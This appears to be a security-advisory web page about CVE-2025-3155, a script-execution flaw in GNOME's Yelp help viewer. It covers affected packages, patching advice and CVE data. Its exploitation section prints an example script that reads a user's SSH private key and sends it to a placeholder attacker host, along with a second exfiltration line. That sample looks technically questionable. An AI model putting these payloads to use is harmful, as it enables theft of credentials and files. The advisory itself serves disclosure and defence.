yelp: arbitrary file-read and script execution in Yelp Help Viewer (CVE-2025-3155) (CVE-2025-3155) #shorts

Summary

Welcome to today’s security briefing. In this episode we’ll cover CVE-2025-3155, a critical flaw discovered in Yelp, the GNOME Help Viewer. Published on April 3, 2025, this vulnerability allows specially crafted help documents to execute arbitrary scripts, putting user data at risk of exfiltration. We’ll explain what products are affected, the nature of the flaw, and how you can protect your systems.

Product details

Yelp is the GTK-based help viewer used by the GNOME desktop environment and is included in many Linux distributions, including Fedora, Red Hat Enterprise Linux, Ubuntu and others. The packages in question are ‘yelp’ and its stylesheet processor ‘yelp-xsl’. Fedora 42 has already released updates for both packages to address the issue. Users of any GNOME-based Linux distribution running an unpatched version of Yelp should take notice.

Vulnerability type summary

CVE-2025-3155 falls under ‘Inclusion of Functionality from Untrusted Control Sphere’. In essence, the help viewer fails to properly sanitize or restrict scripting in help documents, allowing untrusted content to run code on the user’s machine. This kind of flaw is akin to script‐injection or code‐injection vulnerabilities seen in web applications, but here the attack vector is the local help system.

Details of the vulnerability

A malicious actor can craft a help file that contains embedded script directives. When Yelp opens that document, it executes the embedded scripts without adequate sandboxing or user consent. Those scripts can read arbitrary files from the victim’s home directory and transmit them to an external server. There’s no user prompt or warning; the attack appears as a normal help dialog. An attacker only needs to trick the user into opening the compromised help file, for example by supplying it in a download or via a compromised repository.

Conclusion

To protect your environment, update your yelp and yelp-xsl packages to the latest versions released by your distribution. Fedora 42 users should apply the advisories as soon as possible. Administrators of GNOME-based desktops should also audit any custom help documents and verify their integrity. Although no widespread exploits have been reported yet, the potential for data exfiltration makes timely patching essential. That’s it for this episode—stay safe and keep your software up to date.

Watch the full video on YouTube: CVE-2025-3155

Remediation and exploitation details

This chain involves the following actors

  • Malicious user: Attacker who crafts and distributes a malicious help document
  • End user: Victim who opens the malicious document in Yelp

This following systems are involved

  • Yelp Help Viewer (Render user help documentation for GNOME applications): Vulnerable application that executes embedded scripts
  • GNOME-based Linux distribution (Operating system environment hosting Yelp): Platform on which Yelp and its dependencies run

Attack entry point

  • Help document loader: Component in Yelp that parses and renders help files, including embedded script elements

Remediation actions

System administrator or user
Update yelp and yelp-xsl to the patched versions provided by your distribution
Yelp Help Viewer
System administrator or user
Verify that no untrusted help documents are opened in Yelp
GNOME-based Linux distribution

Exploitation actions

Arbitrary script injection via HTML in help document

Malicious user
Create a help document containing an embedded script tag that reads local files
Yelp Help Viewer
Examples:
  • <script> const fs = require('fs'); let data = fs.readFileSync('/home/user/.ssh/id_rsa', 'utf8'); fetch('http://attacker.example.com/exfil?data='+encodeURIComponent(data)); </script>

Social engineering or supply-chain injection

Malicious user
Host or distribute the crafted help document via a website, file share or removable media
GNOME-based Linux distribution
Examples:
  • Posting the file on a public help repository or emailing it as an update

User-initiated document load

End user
Open the malicious file in Yelp, believing it to be legitimate documentation
Yelp Help Viewer
Examples:
  • yelp /path/to/malicious-help.html

Script execution within the help rendering process

Embedded script in document
Execute file-read operations and send data to a remote server
Yelp Help Viewer
Examples:
  • fetch('http://attacker.example.com/exfil?data='+fileContents)

Related Content

NOTE: The following related content has not been vetted and may be unsafe.

CVE database technical details

CVE ID
CVE-2025-3155
Description
A flaw was found in Yelp. The Gnome user help application allows the help document to execute arbitrary scripts. This vulnerability allows malicious users to input help documents, which may exfiltrate user files to an external environment.
Provider
redhat
CWE / problem types
Inclusion of Functionality from Untrusted Control Sphere
Affected Software Versions
Red Hat:Red Hat Enterprise Linux 8:[{'version': '2:3.28.1-3.el8_10.1', 'lessThan': '*', 'versionType': 'rpm', 'status': 'unaffected'}],Red Hat:Red Hat Enterprise Linux 8:[{'version': '0:3.28.0-2.el8_10.1', 'lessThan': '*', 'versionType': 'rpm', 'status': 'unaffected'}],Red Hat:Red Hat Enterprise Linux 8.2 Advanced Update Support:[{'version': '2:3.28.1-3.el8_2.1', 'lessThan': '*', 'versionType': 'rpm', 'status': 'unaffected'}],Red Hat:Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support:[{'version': '2:3.28.1-3.el8_4.1', 'lessThan': '*', 'versionType': 'rpm', 'status': 'unaffected'}],Red Hat:Red Hat Enterprise Linux 8.4 Telecommunications Update Service:[{'version': '2:3.28.1-3.el8_4.1', 'lessThan': '*', 'versionType': 'rpm', 'status': 'unaffected'}],Red Hat:Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions:[{'version': '2:3.28.1-3.el8_4.1', 'lessThan': '*', 'versionType': 'rpm', 'status': 'unaffected'}],Red Hat:Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Support:[{'version': '2:3.28.1-3.el8_6.1', 'lessThan': '*', 'versionType': 'rpm', 'status': 'unaffected'}],Red Hat:Red Hat Enterprise Linux 8.6 Telecommunications Update Service:[{'version': '2:3.28.1-3.el8_6.1', 'lessThan': '*', 'versionType': 'rpm', 'status': 'unaffected'}],Red Hat:Red Hat Enterprise Linux 8.6 Update Services for SAP Solutions:[{'version': '2:3.28.1-3.el8_6.1', 'lessThan': '*', 'versionType': 'rpm', 'status': 'unaffected'}],Red Hat:Red Hat Enterprise Linux 8.8 Extended Update Support:[{'version': '2:3.28.1-3.el8_8.1', 'lessThan': '*', 'versionType': 'rpm', 'status': 'unaffected'}],Red Hat:Red Hat Enterprise Linux 9:[{'version': '2:40.3-2.el9_6.1', 'lessThan': '*', 'versionType': 'rpm', 'status': 'unaffected'}],Red Hat:Red Hat Enterprise Linux 9.0 Update Services for SAP Solutions:[{'version': '2:40.3-2.el9_0.1', 'lessThan': '*', 'versionType': 'rpm', 'status': 'unaffected'}],Red Hat:Red Hat Enterprise Linux 9.2 Extended Update Support:[{'version': '2:40.3-2.el9_2.1', 'lessThan': '*', 'versionType': 'rpm', 'status': 'unaffected'}],Red Hat:Red Hat Enterprise Linux 9.4 Extended Update Support:[{'version': '2:40.3-2.el9_4.1', 'lessThan': '*', 'versionType': 'rpm', 'status': 'unaffected'}],Red Hat:Red Hat Enterprise Linux 6:None,Red Hat:Red Hat Enterprise Linux 7:None
Date Published
2025-04-03T13:34:18.878Z
Last Updated
2025-05-14T15:51:57.767Z